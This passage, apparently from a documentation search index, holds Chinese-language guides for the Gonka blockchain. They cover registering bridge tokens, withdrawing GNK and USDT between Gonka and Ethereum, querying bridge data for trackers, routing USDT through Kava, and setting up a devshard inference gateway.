cosmos1...gov... 为您实际的治理模块地址。0xTokenContractAddressOnEthereum 为具体的 ERC-20 合约地址。Token Name、SYMBOL 和 decimals 为正确的代币信息。deposit 为满足最小存款要求的金额。metadata 为您的提案元数据 URI（可选，可为空或 IPFS CID）。在存有您冷账户密钥的私有机器上运行以下交易：
inferenced tx gov submit-proposal ./register_token_proposal.json \\\n --from <cold-key-name> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node $SEED_URL/chain-rpc/ \\\n --yes\n系统将提示您输入文件密钥环的密码。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/register-token/#4", "title": "步骤 4：追加存款和投票", "text": "提交后，从交易日志或通过查询所有提案获取 proposal_id：
inferenced query gov proposals --node $SEED_URL/chain-rpc/\n如果您的初始存款低于进入投票期所需的最低金额，请进行追加：
inferenced tx gov deposit <proposal_id> 500000000000ngonka \\\n --from <cold-key-name> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node $SEED_URL/chain-rpc/ \\\n --yes\n提案进入投票期 (Voting Period) 后，投赞成票：
inferenced tx gov vote <proposal_id> yes \\\n --from <cold-key-name> \\\n --keyring-backend file \\\n --unordered --timeout-duration=60s \\\n --gas=2000000 --gas-adjustment=5.0 \\\n --node $SEED_URL/chain-rpc/ \\\n --yes\n投票期结束且提案通过后，您可以验证元数据是否已成功注册。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/register-token/#1", "title": "1. 验证元数据", "text": "使用链 API 或 CLI 查询代币元数据：
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/token_metadata/ethereum/0xTokenContractAddressOnEthereum\"\n当用户将其代币充值到以太坊上的跨链桥合约后，Gonka 共识将自动为该代币创建一个包装 CW-20 合约，并将铸造的余额分配给用户派生的地址。您可以查询余额：
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/wrapped_token_balances/{gonkaAddress}\"\n每个以太坊代币在 Gonka 上精确映射为一个包装 CW-20 合约。首次充值时会创建该合约；之后同一代币的所有充值都将复用同一个合约，因此该代币的所有余额和转账都在同一个地址下。您可以在仪表板中查看包装合约的交易记录，例如：
https://node1.gonka.ai:8443/dashboard/gonka/cosmwasm/105/transactions?contract=<wrappedContractAddress>\nWarning
务必先进行小额测试交易。跨链转账是不可逆的，因此在转移大额资金之前，请先发送少量金额，并确认其如期到账。
由 Gonka 共识控制的专用跨链桥智能合约已在以太坊上激活，合约地址为：
0x972a7a92d92796a98801a8818bcf91f1648f2f68\n本页面面向希望自行显示或集成 Gonka 跨链桥数据的仪表板、区块浏览器和追踪器运营商。所有跨链桥状态均可通过公共链 API 读取——无需特殊访问权限。
以下示例使用 https://node2.gonka.ai:8443/chain-api/...；您可以将其指向任何您信任的节点。
托管的仪表板已为终端用户提供了跨链桥功能——连接以太坊钱包、推导对应的 gonka1… 地址（参见地址与密钥）、查看包装资产余额，以及发起充值/提现操作：
https://node1.gonka.ai:8443/dashboard/\n每个合约的 CosmWasm 交易历史（对审计包装代币很有用）可在以下地址查看：
https://node1.gonka.ai:8443/dashboard/gonka/cosmwasm/105/transactions?contract=<wrappedContractAddress>\nGonka 接受充值的可信跨链桥合约地址，按链划分：
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/bridge_addresses/ethereum\"\n列出入站跨链桥交易（正在验证和完成的充值/销毁）：
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/bridge_transactions\"\n通过其源坐标 (originChain, blockNumber, receiptIndex) 查找单个交易：
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/bridge_transaction/ethereum/{blockNumber}/{receiptIndex}\"\n每条记录包含 status（BRIDGE_PENDING 或 BRIDGE_COMPLETED）、推导出的 ownerAddress（即 gonka1… 收款地址）、amount 以及验证纪元（epoch）——这些信息足以跟踪一笔转账从\"已发现\"到\"已完成\"的全过程。
列出某个 Gonka 地址持有的所有包装代币（CW-20）余额，包括代币符号（symbol）、小数位数（decimals）以及格式化后的可读余额：
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/wrapped_token_balances/{gonkaAddress}\"\n通过源链和以太坊合约地址解析已注册的跨链代币名称/符号/小数位数：
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/token_metadata/ethereum/{ethereumContractAddress}\"\nNote
元数据仅存在于已注册的代币中（参见注册跨链桥代币）。未注册的代币仍然可以跨链并在余额中显示，但其元数据为空或为默认值。追踪器应优雅地处理缺失的元数据，并回退到原始合约地址。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/tracker-integration/#_7", "title": "每个代币一个包装合约", "text": "每个以太坊代币在 Gonka 上精确映射为一个包装后的 CW-20 合约，其键值为 (chainId, ethereumContractAddress)。首次充值时会创建该合约；之后同一代币的所有充值都将复用同一个包装合约地址。在索引时，请将该包装的 CW-20 合约地址视为该以太坊代币在 Gonka 上的唯一标识。
如果您同时提供交易数据：
# 已获批通过流动性池交易的代币\ncurl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/approved_tokens_for_trade\"\n\n# 验证某个 CW-20 是否为已授权的可交易包装代币\ncurl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/validate_wrapped_token_for_trade/{contractAddress}\"\n\n# 单例流动性池合约地址 / code id\ncurl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/liquidity_pool\"\n去中心化 API 提供了跨链桥数据摄入队列的健康状况，可用于运维监控面板：
curl \"https://node2.gonka.ai:8443/v1/bridge/status\"\ncurl \"https://node2.gonka.ai:8443/v1/bridge/addresses?chain=ethereum\"\nWarning
务必先进行小额测试交易。跨链转账是不可逆的，因此在转移大额资金之前，请先发送少量金额，并确认其如期到账。
由 Gonka 共识控制的专用跨链桥智能合约已在以太坊上激活，合约地址为：
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/withdraw-gnk/#gnk-gonka", "title": "提取 GNK（以太坊 → Gonka）", "text": "这是存入 GNK（Gonka → 以太坊）的逆向操作。该过程会在以太坊上销毁包装的 GNK（WGNK），并从 Gonka 的托管账户中释放等量的原生 GNK。
释放的原生 GNK 将发送至与以太坊上销毁 WGNK 所用密钥派生的 Gonka 地址。请确保您在 Gonka 上控制该密钥——参见地址与密钥。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/withdraw-gnk/#a-wgnk", "title": "A) 在以太坊上销毁 WGNK", "text": "销毁操作只需将 WGNK 转账至跨链桥合约地址即可。跨链桥合约会将转入自身的转账识别为销毁行为，并触发 WGNKBurned 事件。
// WGNK is the bridge contract itself (it is both the bridge and the WGNK ERC-20)\nconst tx = await wgnkContract.transfer(\n \"0x972a7a92d92796a98801a8818bcf91f1648f2f68\", // bridge / WGNK address\n amountBN // BigNumber amount (9 decimals)\n);\nawait tx.wait();\nNote
WGNK 使用 9 位小数，以匹配原生 GNK 代币。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/withdraw-gnk/#b", "title": "B) 等待最终确认", "text": "跨链桥仅处理已最终确认的以太坊区块（约两个 epoch）。从代币在以太坊上被销毁到原生 GNK 出现在 Gonka 上，预计需要 15–20 分钟。以太坊端无需进一步操作——一旦销毁交易得到最终确认，Gonka 共识机制将自动验证并释放托管的 GNK。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/withdraw-gnk/#c-gonka-gnk", "title": "C) 检查您在 Gonka 上的 GNK 余额", "text": "查询由您的密钥派生的 Gonka 地址的原生余额：
inferenced query bank balances <your_gonka_address> --node http://node1.gonka.ai:8000/chain-rpc/\n您应该能在 ngonka 中看到已释放的金额（1 GNK = 10^9 ngonka）。
Tip
如果大约 20 分钟后余额仍未显示，请确认销毁交易已在以太坊上最终确认，并且您正在查询的 gonka1… 地址是由相同的密钥推导出来的（不是由助记词生成的 Gonka 账户——参见地址与密钥）。
Warning
务必先进行小额测试交易。跨链转账是不可逆的，因此在转移大额资金之前，请先发送少量金额，并确认其如期到账。
由 Gonka 共识控制的专用跨链桥智能合约已在以太坊上激活，地址为：
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/withdraw-usdt/#usdtgonka", "title": "提取 USDT（Gonka → 以太坊）", "text": "Note
提现通过与当前纪元群组密钥绑定的 BLS 签名在以太坊上释放，该密钥大约每天刷新一次。一个纪元签名可以授权该纪元内发起的任意数量的提现，因此此步骤通常很快。详见Gonka → 以太坊的授权方式了解背景。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/withdraw-usdt/#a-gonka", "title": "A) 在 Gonka 上发送提取请求", "text": "使用 CLI 发起提取交易：
./inferenced tx wasm execute <gonka1CW20WrappedUSDTAddress> \\\n '{\"withdraw\":{\"amount\":\"<amount>\",\"destination_address\":\"0xYourEthereumAddr\",\"destination_bridge_address\":\"0x972a7a92d92796a98801a8818bcf91f1648f2f68\"}}' \\\n --from <your_key_name> \\\n --chain-id gonka-mainnet \\\n --gas auto --gas-adjustment 1.5 \\\n -y \\\n --node http://node1.gonka.ai:8000/chain-rpc/\nTip
如果 --gas auto 的估算不准确，请查看返回状态中所需的 Gas 额度，并在命令中显式传递它（例如：--gas 200000）。
...\ntxhash: 12E8ABCA5A35D73042564FDF6D686424F742414EEC172450AB6EDA34BD1F0805\n等待几个区块生成，然后查询交易哈希以获取请求 ID：
./inferenced query tx 12E8ABCA5A35D73042564FDF6D686424F742414EEC172450AB6EDA34BD1F0805 --node http://node1.gonka.ai:8000/chain-rpc/\n确保输出中包含 \"code\": 0（表示成功），并提取 Base64 编码的 request_id：
\"request_id\": \"vSTWiN1pvooxcFoDLzePCEq3x/C5NQ+jFMvfcEozCm4=\"\n将 Base64 编码的 request_id 转换为十六进制格式：
echo \"vSTWiN1pvooxcFoDLzePCEq3x/C5NQ+jFMvfcEozCm4=\" | base64 -d | xxd -p -c 256\nbd24d688dd69be8a31705a032f378f084ab7c7f0b9350fa314cbdf704a330a6e\n使用您的请求 ID 十六进制值查询 BLS 签名 API：
curl \"https://node2.gonka.ai:8443/v1/bls/signatures/<REQUEST_ID_HEX>\" \\\n | jq -r '\n {\n uncompressed_signature_128: .uncompressed_signature_128,\n current_epoch_id: .signing_request.current_epoch_id,\n request_id: .signing_request.request_id\n }\n '\n响应包含以下字段： * current_epoch_id：该请求对应的纪元。 * request_id：在 Gonka 上使用的 32 字节哈希。 * uncompressed_signature_128：在以太坊上执行提取所需的 BLS 签名。
跨链桥纪元更新
在提交以太坊提现交易之前，请确保以太坊跨链桥合约已同步到 current_epoch_id。如果仪表板显示 A Bridge needs epoch update 或以太坊执行失败并出现 InvalidEpoch 错误，请按照跨链桥纪元更新操作。
使用 withdraw-tokens.js 脚本：
HARDHAT_NETWORK=mainnet node withdraw-tokens.js \\\n 0x972a7a92d92796a98801a8818bcf91f1648f2f68 \\\n <current_epoch_id> \\\n <request_id_base64> \\\n <destination_address> \\\n 0xdAC17F958D2ee523a2206206994597C13D831ec7 \\\n <amount> \\\n <uncompressed_signature_128>\n使用场景：Gonka 钱包余额中已有可用的 IBC USDT，目标路径为 Gonka → Kava Cosmos → Kava EVM → 以太坊。
本指南描述了到达以太坊的完整路径。该路线可以在任何已完成的步骤后停止：IBC USDT 可以留在 Keplr 中的 Kava 上，移至 MetaMask 中的 Kava EVM，或继续前往以太坊。
免责声明：本指南不构成投资建议。路线参数、支持的资产、费用以及钱包/跨链桥界面可能会发生变化。在发送资金之前，请始终验证当前路线、地址和金额。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#ibc-usdt", "title": "重要提示：本指南适用于 IBC USDT", "text": "本指南涵盖 Gonka / Kava Cosmos 上的 IBC USDT。
请不要将其与以下混淆：
在发送资金之前，请始终检查：
该路线包含三个步骤：
要求：
GNK 用于 Gonka 交易费用有用的官方页面：
kava1...0x...此步骤将资金从 Gonka 发送到 Keplr 中的 Kava Cosmos 地址。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#1-keplr-ibc", "title": "1. 在 Keplr 中启用手动 IBC", "text": "在 Keplr 中：
设置 → 高级 → 手动 IBC 转账 → 开启
如果标签因版本不同而略有差异，请参考 Keplr 自己的文档：help.keplr.app。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#2-gonka", "title": "2. 在 Gonka 上配置转账", "text": "如果 Keplr 显示 Add IBC channel 或 New IBC channel，请设置：
channel-5然后保存该通道。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#3-kava", "title": "3. 复制 Kava 地址", "text": "kava1... 地址在高级 IBC 转账中，从目标下拉菜单中选择 Kava (channel-5)。
然后：
kava1... 地址ngonka 计价的费用USDT 应出现在 Keplr 中的 Kava 上。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#2-usdt-kava-ibc-kava-evm", "title": "步骤 2 — 将 USDT 从 Kava IBC 移至 Kava EVM", "text": "此步骤将资金从 Kava Cosmos 移至 Kava EVM。
先从小额测试金额开始。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#1-kava", "title": "1. 打开 Kava 转账工具", "text": "打开转账页面：app.kava.io/transfer。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#2", "title": "2. 连接两个钱包", "text": "选择：
USDT 应出现在 MetaMask 中的 Kava EVM 上。
Kava 关于在 Kava 表面之间移动 USDT 的帮助文章，此处相关方向为 Cosmos → Kava EVM：How to transfer USDt to Cosmos chains with a single click。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#usdt-metamask", "title": "如果 USDT 未在 MetaMask 中显示", "text": "MetaMask 可能不会自动显示该代币。可能需要手动导入代币。
Kava 帮助文档列出了以下 Kava EVM 上的 USDT 合约：
0x919C1c267BC06a7039e03fcc2eF738525769109c
在将该合约用于实际转账之前，请在以下来源中再次验证该合约：
如果 MetaMask 要求输入精度，请使用 6。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#3-usdt-kava-evm", "title": "步骤 3 — 将 USDT 从 Kava EVM 跨链到以太坊", "text": "此步骤将资金从 Kava EVM 跨链到以太坊主网。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#1-stargate", "title": "1. 打开 Stargate", "text": "打开：stargate.finance/transfer。
Kava 关于此跨链模式的背景信息：How to Bridge USDt with Stargate。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#2-metamask-kava-evm", "title": "2. 确保 MetaMask 连接到 Kava EVM", "text": "开始之前，MetaMask 应连接到 Kava EVM。
源网络是 Kava EVM，不是以太坊。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#3_1", "title": "3. 设置跨链路线", "text": "在 Stargate 中，选择：
在某些界面中，源可能简单显示为 Kava。重要的条件是匹配步骤 2 完成后 USDT 所在的网络。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#4_1", "title": "4. 查看费用并发送小额测试", "text": "确认之前：
然后在 MetaMask 中批准交易。
USDT 应出现在 MetaMask 中的以太坊主网上。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#stargate", "title": "如果 Stargate 不提供此路线", "text": "请停下。
不要猜测替代的跨链桥。
如果 从 Kava EVM 到以太坊的 USDT 路线未显示，该路线可能已暂停、变更或暂时不可用。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#4_2", "title": "步骤 4 — 确认以太坊上的资金", "text": "常用的以太坊主网 USDT 合约为：
0xdAC17F958D2ee523a2206206994597C13D831ec7
导入之前，请在可信来源中验证当前合约，例如：
测试金额到账后，对剩余余额重复相同流程。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#kava-cosmos-kava-evm-kava", "title": "可选 — 在 Kava Cosmos 和 Kava EVM 之间移动 KAVA", "text": "如果另一侧需要 KAVA 用于 Gas 费用，请使用：app.kava.io/evm/wkava。
Kava 的分步指南：Send KAVA to and from Kava Cosmos and Kava EVM。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ibc/withdraw-usdt-via-kava/#gonka-ibc", "title": "高级说明 — 在大额转账前验证 Gonka IBC 通道", "text": "对于大多数用户，小额测试转账不需要通道验证。
要在发送大额资金之前验证当前的 Gonka 出站通道，请使用以下命令检查通道：
curl -sS \"https://node1.gonka.ai:8443/chain-api/ibc/core/channel/v1/channels\" | jq '.channels[] | select(.port_id==\"transfer\") | {gonka_channel_id:.channel_id, kava_counterparty:.counterparty.channel_id}'\n在本指南编写时，Gonka → Kava 转账使用：
channel-5channel-161从 Gonka 发送时，使用 Gonka 侧通道，即 channel-5。
在发送全额之前，请确保：
如果任何检查失败，请在转移全额余额之前停下并核查。
请始终仔细核对路线、地址、资产和金额，并先进行小额测试转账。
"}, {"location": "gonka/docs/zh/developer/gateway-developer-quickstart/", "title": "部署自己的网关", "text": ""}, {"location": "gonka/docs/zh/developer/gateway-developer-quickstart/#_1", "title": "运行你自己的网关", "text": "本指南说明了如何在 gonka-mainnet 上运行一个 Gonka devshard 网关，而无需安装完整的区块链节点。你将在自己的 Linux 主机上部署该网关，为专用的托管创建者地址充值，打开链上 devshard 托管账户，发送兼容 OpenAI 的推理请求，并在完成后结算该托管账户。
如果你仅需通过现有端点获取推理服务，请改用 社区代理 —— 此路径不需要 Docker、链上托管账户或白名单内的创建者地址。
"}, {"location": "gonka/docs/zh/developer/gateway-developer-quickstart/#_2", "title": "需要白名单内的创建者地址", "text": "前提条件：你的 devshard 托管创建者（来自 DEVSHARD_PRIVATE_KEY 的 $DEVSHARD_CREATOR）所对应的 gonka1… 地址 必须 出现在链上白名单 devshard_escrow_params.allowed_creator_addresses 中，才能 创建托管账户。
该白名单通过链上 治理机制 进行维护。你无法通过 config.devshard.env 或管理设置自行添加。请通过链上治理投票申请加入 —— 参见开发者快速入门中的 成为代理，或改用 社区代理。
在 第 2.3 节 导入密钥后，请在 第 2.4 节 验证是否已列入白名单。在确认通过前，请勿为创建者地址充值或部署网关（仅充值无法获得白名单权限）。
!!! warning \"生产网络\"Mainnet escrows and fees use **real** ngonka. Confirm `devshard_escrow_params.min_amount` on chain (§2.4) before funding or creating an escrow. The example deposit below must be **≥ `min_amount`**.### 此配置的工作原理
Gonka 推理围绕 devshard（devshard）组织——即由少量链上存款（托管资金）支持的短期会话。一个 网关（gateway）负责开启托管账户，将 /v1/chat/completions 请求路由到网络，协调链下结算状态，并向区块链提交 finalize/settle（最终化/结算）交易。
在 仅网关（gateway-only）服务器上，你仅运行网关容器（devshardctl）。链访问使用公共的 REST/RPC URL，无需在同一台机器上运行 CometBFT、api 或 mlnode。
$DEVSHARD_CREATOR 需在 allowed_creator_addresses 中（见上述前置条件；在第2.4节中确认）gonka1… 地址，仅用作该托管账户创建者（在确认加入白名单后使用）gonka-mainnet 模型（示例） MiniMaxAI/MiniMax-M2.7 托管存款（示例） 5000000000 ngonka（约 5 GONKA）；必须 ≥ 链上 min_amount 公共节点（示例） https://node3.gonka.ai CometBFT RPC（示例） https://node3.gonka.ai/chain-rpc/ 网关镜像 libermans/gonka-devshard-proxy:latest 将链 URL 复制到 第2.2节 中的 config.devshard.env 文件。以下所有命令均假设你已在部署目录中执行过 source config.devshard.env。
inferenced", "text": "确认 Docker 已安装并可用：bash docker --version从 发布页面 下载 inferenced v0.2.13：```bash curl -fsSL -o /tmp/inferenced-amd64.zip \\ \"https://github.com/gonka-ai/gonka/releases/download/release/v0.2.13/inferenced-amd64.zip\" unzip -o /tmp/inferenced-amd64.zip -d \"$HOME/bin\" chmod +x \"$HOME/bin/inferenced\" export PATH=\"$HOME/bin:$PATH\" inferenced version # should report v0.2.13
export INFERENCED_HOME=\"$HOME/.devshard-inferenced\" export INFERENCED_KEYRING=\"$INFERENCED_HOME/keyring-devshard\" mkdir -p \"$INFERENCED_HOME\" \"$INFERENCED_KEYRING\" ```INFERENCED_HOME 用于将 CLI 状态与默认的 ~/.inference 安装路径分离。INFERENCED_KEYRING 仅是导入密钥的文件夹名称。
为 config.devshard.env、docker-compose.yml 和网关数据使用一个单独的目录。以下示例使用 /srv/gonka/devshard-gateway。
创建该目录，并确保其所有者为你的登录用户：bash sudo mkdir -p /srv/gonka/devshard-gateway sudo chown \"$USER:$USER\" /srv/gonka/devshard-gateway cd /srv/gonka/devshard-gateway---
从部署目录中生成密钥，并保存输出内容以供下一步使用：``bash printf 'export DEVSHARD_PRIVATE_KEY=%s\\n' \"$(openssl rand -hex 32)\" printf 'export DEVSHARD_API_KEYS=sk-%s\\n' \"$(openssl rand -hex 24)\" printf 'export DEVSHARD_ADMIN_API_KEY=sk-admin-%s\\n' \"$(openssl rand -hex 24)\" ````DEVSHARD_PRIVATE_KEY 是一个专用的托管创建者钱包。请勿重复使用验证节点、参与方或代理的密钥。
config.devshard.env", "text": "此文件必须在执行 source config.devshard.env 或 docker compose up 之前存在。Docker Compose 将会把该文件中的内容加载到容器中。bash nano config.devshard.env主网示例内容（从§2.1粘贴密钥）：```bash
export NODE_RPC=https://node3.gonka.ai/chain-rpc/ export CHAIN_ID=\"gonka-mainnet\" export NODE_BASE=https://node3.gonka.ai export NODE_CHAIN_API=https://node3.gonka.ai/chain-api
"}, {"location": "gonka/docs/zh/developer/gateway-developer-quickstart/#inferenced-cli-local-not-used-by-the-gateway-container", "title": "inferenced CLI (local; not used by the gateway container)", "text": "export INFERENCED_HOME=\"$HOME/.devshard-inferenced\" export INFERENCED_KEYRING=\"$INFERENCED_HOME/keyring-devshard\"
"}, {"location": "gonka/docs/zh/developer/gateway-developer-quickstart/#escrow-creator-gateway-auth-from-21", "title": "Escrow creator + gateway auth (from §2.1)", "text": "export DEVSHARD_PRIVATE_KEY=<64-char-hex-no-0x-prefix> export DEVSHARD_API_KEYS=sk-... export DEVSHARD_ADMIN_API_KEY=sk-admin-...
"}, {"location": "gonka/docs/zh/developer/gateway-developer-quickstart/#gateway-devshardctl-container", "title": "Gateway (devshardctl container)", "text": "export DEVSHARD_INSTANCE_NAME=devshardctl-multi export DEVSHARDS_JSON='[]' export DEVSHARD_CHAIN_REST=https://node3.gonka.ai/chain-api export DEVSHARD_TX_QUERY_REST=https://node3.gonka.ai/chain-api export DEVSHARD_PUBLIC_API=https://node3.gonka.ai export DEVSHARD_PORT=8080 export DEVSHARD_STORAGE_DIR=/root/.devshardctl export DEVSHARD_STORAGE_HOST_DIR=.devshardctl export DEVSHARD_MODEL=MiniMaxAI/MiniMax-M2.7 export GATEWAY_MAX_CONCURRENT_REQUESTS=512 export GATEWAY_MAX_INPUT_TOKENS_IN_FLIGHT=0 export GATEWAY_DEFAULT_MAX_TOKENS=3072 export GATEWAY_MAX_TOKENS_CAP=4096 export DEVSHARD_TX_GAS_LIMIT=700000 export DEVSHARD_POC_REQUEST_MODE=relaxed export DEVSHARD_CAPACITY_AWARE_LIMITS=on ``在第一个托管（escrow）存在之前，多托管模式需要设置DEVSHARDS_JSON='[]'。如果没有设置，容器将期望DEVSHARD_ESCROW_ID`（单托管模式），并会退出，直到你设置该变量。
请锁定权限并验证公共节点：```bash chmod 600 config.devshard.env mkdir -p \"$INFERENCED_HOME\" \"$INFERENCED_KEYRING\"
cd /srv/gonka/devshard-gateway source config.devshard.env curl -fsS \"${NODE_RPC}status\" | jq '.result.sync_info.latest_block_height' 你应该看到一个最近的区块高度。可选——列出治理模型：bash curl -sS \"$NODE_BASE/v1/governance/models\" | jq ### 2.3 导入创建者密钥bash source config.devshard.env
test -f config.devshard.env test -n \"$DEVSHARD_PRIVATE_KEY\" `--keyring-backend test` 是 Cosmos SDK 的后端名称（本地开发密钥环）。bash inferenced keys import-hex devshard-create \"$DEVSHARD_PRIVATE_KEY\" \\ --keyring-backend test \\ --keyring-dir \"$INFERENCED_KEYRING\" \\ --home \"$INFERENCED_HOME\" ```如果导入提示密钥已存在，则跳过导入。
解析链上创建者地址：bash export DEVSHARD_CREATOR=\"$(inferenced keys show devshard-create -a \\ --keyring-backend test \\ --keyring-dir \"$INFERENCED_KEYRING\" \\ --home \"$INFERENCED_HOME\")\" echo \"DEVSHARD_CREATOR=$DEVSHARD_CREATOR\"可选 — 将 DEVSHARD_CREATOR 持久化到环境文件中（仅需运行一次）：bash grep -q '^export DEVSHARD_CREATOR=' config.devshard.env || \\ echo \"export DEVSHARD_CREATOR=$DEVSHARD_CREATOR\" >> config.devshard.env名称 devshard-create 仅为本地标签；链上交易使用 --from devshard-create 以 $DEVSHARD_CREATOR 身份进行签名。
请勿跳过此步骤。 在 第4节 中创建托管账户仅在 $DEVSHARD_CREATOR 位于链上准入名单中时才会成功。
使用网关时，你无需运行验证器；你只需确保创建者地址在 devshard_escrow_params.allowed_creator_addresses 列表中。如果该地址缺失，请立即停止并按照成为中介的指引，申请治理参数更新。在创建托管账户之前，每次治理投票后都应重新运行此检查。```bash source config.devshard.env
echo \"DEVSHARD_CREATOR=$DEVSHARD_CREATOR\"
curl -sS \"$NODE_CHAIN_API/productscience/inference/inference/params\" \\ | jq '.params.devshard_escrow_params | {min_amount, max_escrows_per_epoch, max_nonce, allowed_creator_addresses}'
curl -sS \"$NODE_CHAIN_API/productscience/inference/inference/params\" \\ | jq --arg addr \"$DEVSHARD_CREATOR\" \\ '.params.devshard_escrow_params.allowed_creator_addresses | index($addr) != null' ``第二个命令必须输出true。使用第一个命令读取实时限制（min_amount、max_escrows_per_epoch、max_nonce）。在主网上，[v0.2.13 升级](https://github.com/gonka-ai/gonka/blob/gm/microrelease/inference-chain/app/upgrades/v0_2_13/upgrades.go) 后，预期max_escrows_per_epoch为 **500,000**，max_nonce为 **1,000,000**。如果输出为false`，则表示你的地址未被列入白名单——在链上添加之前，请不要继续进行 §2.5、§3 或 §4。
只有在 §2.4 返回 true 之后，才可为创建者注资：bash inferenced query bank balances \"$DEVSHARD_CREATOR\" \\ --node \"$NODE_RPC\" --chain-id \"$CHAIN_ID\" -o json --home \"$INFERENCED_HOME\" \\ | jq '.balances[] | select(.denom==\"ngonka\")'发送足够的 ngonka 以覆盖托管存款（示例中为 5000000000，前提是该金额 ≥ min_amount），并支付创建/结算所需的 Gas 费和交易费用。如果你将启用自动托管轮换（托管有效期与轮换），请为创建者提供足够支持每个纪元进行多次存款的资金——而不仅是在第4节中手动创建一次托管。
本节将启动网关进程。你需要在本地创建 docker-compose.yml 文件，Docker 将自动拉取预构建的镜像。你无需从网络下载 compose 文件，也无需安装 Gonka 区块链节点。
网关会读取 config.devshard.env 文件，将状态数据存储在 .devshardctl/ 目录下，并在主机的 http://127.0.0.1:18080 上监听。链上托管的创建将在第4节中进行；先启动网关是完全可行的。
config.devshard.env 密钥和区块链 URL（主机与容器共用） docker-compose.yml Docker 运行 devshardctl 的配置文件 .devshardctl/ 网关数据库（首次运行 up 时创建） 所有命令均假设：bash cd /srv/gonka/devshard-gateway### 3.1 创建 docker-compose.yml````bash nano docker-compose.yml ```仅网关的 compose（不包含node或api服务）：```yaml services: devshardctl: container_name: ${DEVSHARD_INSTANCE_NAME:-devshardctl-multi} image: libermans/gonka-devshard-proxy:latest env_file: - ./config.devshard.env environment: - DEVSHARD_PORT=8080 - DEVSHARD_STORAGE_DIR=/root/.devshardctl volumes: - ${DEVSHARD_STORAGE_HOST_DIR:-.devshardctl}:/root/.devshardctl ports: - \"127.0.0.1:18080:8080\" restart: unless-stopped healthcheck: test: [\"CMD\", \"curl\", \"-f\", \"http://localhost:8080/v1/status\"] interval: 30s timeout: 5s retries: 3 start_period: 10s ```-env_file将链的 URL 和密钥注入容器中。 - 卷挂载在重启后保留已注册的托管账户和管理员设置。 -127.0.0.1:18080` 仅将 API 绑定到本地主机；如果远程客户端需要访问，请在其前面配置 nginx 或其他反向代理。
加载环境变量并拉取镜像：bash cd /srv/gonka/devshard-gateway source config.devshard.env sudo docker compose pull在后台启动网关：bash sudo docker compose up -d确认服务是否健康：bash sudo docker compose ps预期 devshardctl-multi（或你的 DEVSHARD_INSTANCE_NAME）在启动期后处于 running 状态，且健康状况为 healthy。
curl -fsS http://127.0.0.1:18080/v1/status | jq '{runtimes, capacity: .capacity.models}' ```JSON 响应表示网关已启动。在完成 §4 之前，托管列表可能为空。
聊天补全接口可通过以下地址访问：
http://127.0.0.1:18080/v1/chat/completions
（或你的反向代理转发到该端口的 URL）。
"}, {"location": "gonka/docs/zh/developer/gateway-developer-quickstart/#4-api", "title": "4. 创建托管并开通 API 访问", "text": "白名单检查：$DEVSHARD_CREATOR 必须已加入白名单（参见 §2.4），否则链上创建托管将失败。
§4.1 中的存款金额必须 ≥ §2.4 中链上查询到的 min_amount。
网关管理 API 可用于创建链上托管，并在 \"register\": true 时完成注册。该托管将保持激活状态，直到你在 §6 中完成最终结算，除非你在下方的托管生命周期与轮换中启用了自动轮换功能。```bash cd /srv/gonka/devshard-gateway source config.devshard.env
